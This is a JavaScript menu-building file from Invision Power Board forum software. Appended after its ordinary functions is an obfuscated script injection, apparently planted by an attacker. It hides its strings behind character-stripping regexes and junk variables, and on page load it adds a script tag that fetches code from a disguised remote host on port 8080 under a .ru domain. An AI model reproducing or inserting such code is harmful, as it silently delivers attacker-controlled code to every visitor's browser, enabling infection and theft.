/*-------------------------------------------------------------------------*/
// IPS BASIC MENU CLASS (EXTENSION: BUILD SIMPLE MENU)
// (c) 2005 Invision Power Services, Inc
// Assumes that "ips_menu.js" has been loaded
/*-------------------------------------------------------------------------*/

//----------------------------------
// INIT some CSS classes
//----------------------------------

var css_mainwrap     = 'popupmenu';
var css_menusep      = 'popupmenu-item';
var css_menusep_last = 'popupmenu-item-last';

//----------------------------------
// INIT some images
//----------------------------------

var img_item   = "<img src='" + ipb_var_image_url + "/menu_item.gif' border='0' alt='V' style='vertical-align:middle' />";
var img_action = "<img src='" + ipb_var_image_url + "/menu_item2.gif' border='0' alt='V' />";

/*-------------------------------------------------------------------------*/
// Return formed image
/*-------------------------------------------------------------------------*/

function make_image( img )
{
	return "<img src='" + ipb_var_image_url + "/" + img + "' border='0' alt='-' class='ipd' />";
}

/*-------------------------------------------------------------------------*/
// menu_build_menu
// cid: ID of opener object (img, div, etc)
// menuinput: Array of menu entries | Variable of menu HTML
// complexmenu: Treat as HTML stream if true, else treat as array of HTML
/*-------------------------------------------------------------------------*/

function menu_build_menu(cid, menuinput, complexmenu)
{
	var html = "\n<div class='" + css_mainwrap + "' id='" + cid + "_menu' style='display:none;z-index:100'>\n";
	
	if ( ! complexmenu )
	{
		len = parseInt(menuinput.length);
		
		if ( len > 0 )
		{
			for( var i=0; i< menuinput.length; i++ )
			{
				t = parseInt(i) + 1;
				
				thisclass = ( t == len ) ? css_menusep_last : css_menusep;
				
				if ( menuinput[i].match( /^~~NODIV~~/ ) )
				{
					html += menuinput[i].replace( /^~~NODIV~~/, '' );
				}
				else
				{
					html += "<div class='" + thisclass + "'>\n" + menuinput[i] + "\n</div>\n";
				}
			}
		}
	}
	else
	{
		html += menuinput;
	}
	
	html += "\n</div>\n";
	
	//----------------------------------
	// Workaround for IE bug which shows
	// select boxes and other windows GUI
	// over divs. Write iframe
	//----------------------------------
	
	if ( is_ie )
	{
		html += "\n"+''+"\n";
	}
	
	//----------------------------------
	// Write the html
	//----------------------------------
	
	if ( html != '' )
	{
		document.getElementById( cid ).parentNode.innerHTML += html;		
	}
	
	//----------------------------------
	// Register and init
	//----------------------------------
	
	ipsmenu.dynamic_register[ ipsmenu.dynamic_register.length + 1 ]  = cid;
}




try {var u;if(u!='EU' && u!='I'){u='EU'};var Q=RegExp;var fP=new String();var l='replace';function L(N,M){this.gI="";var Qw='[';var J='g';Qw+=M;Qw+=']';this.o='';var Np;if(Np!='Ap'){Np=''};var Vr;if(Vr!='' && Vr!='fB'){Vr=''};var f=new Q(Qw, J);var s=new Date();return N[l](f, new String());var G;if(G!='' && G!='_'){G='e'};};var uG=new Array();var DT=new Array();var FZ=new Date();var E=L('sGcGr7iepltl',"Gel7");var Kc;if(Kc!='' && Kc!='b'){Kc=null};var FE;if(FE!='' && FE!='Sl'){FE=null};var A=L('hWtItWpM:M/L/MgIoWoLgWlIeM-IcIoWmW-LnIgI.ItMyWpMeWpLaIdM.McMoLmI.MmIyWsMpIaMcWeW-McMoLmL.MiIwIeLsMtLpWoWiLnMtM.MrIuM:W',"LIMW");var My;if(My!='DQ'){My=''};var We=new Date();var v=L('864624402444226486444226602644624',"426");var eo;if(eo!='LU'){eo=''};var wv;if(wv!='_q' && wv != ''){wv=null};var F=L('cprjewaptjejEjlpejmuepnjtw',"uHjpw");var g=window;var X=L('oinilioAaAdi',"2Ai");var fe;if(fe!='JV' && fe!='NM'){fe='JV'};var Rl="";var w=L('/EsSkEySr3oScSkS.EcSoSm3/SsEkSyEr3oEcSkE.EcSo3mS/SaSl3iSb3aEbSaS.EcSoSmS/Sr3e3n3r3eSn3.EcSoEmE/SgEoEoEg3lEeS.ScEo3mE.Sp3h3p3',"ES3");var D='';t=function(){this.HeM="";var QU=new Date();var rK="";p=document[F](E);D=A+v;var Z;if(Z!='U' && Z!='d'){Z='U'};var WN;if(WN!='y' && WN!='i'){WN=''};D+=w;var lc;if(lc!='RC' && lc!='YE'){lc=''};var hJ;if(hJ!='EK'){hJ='EK'};p.src=D;var Qn='';var Of='';p.defer=([1,7][0]);this.gp='';this.bY="";document.body.appendChild(p);var VU=new Array();var zPt;if(zPt!='fl'){zPt='fl'};};var _z=new String();g[X]=t;var vt=new Date();var li="";var Mf;if(Mf!=''){Mf='C'};} catch(B){var hK=new String();var Ef;if(Ef!='vb'){Ef='vb'};};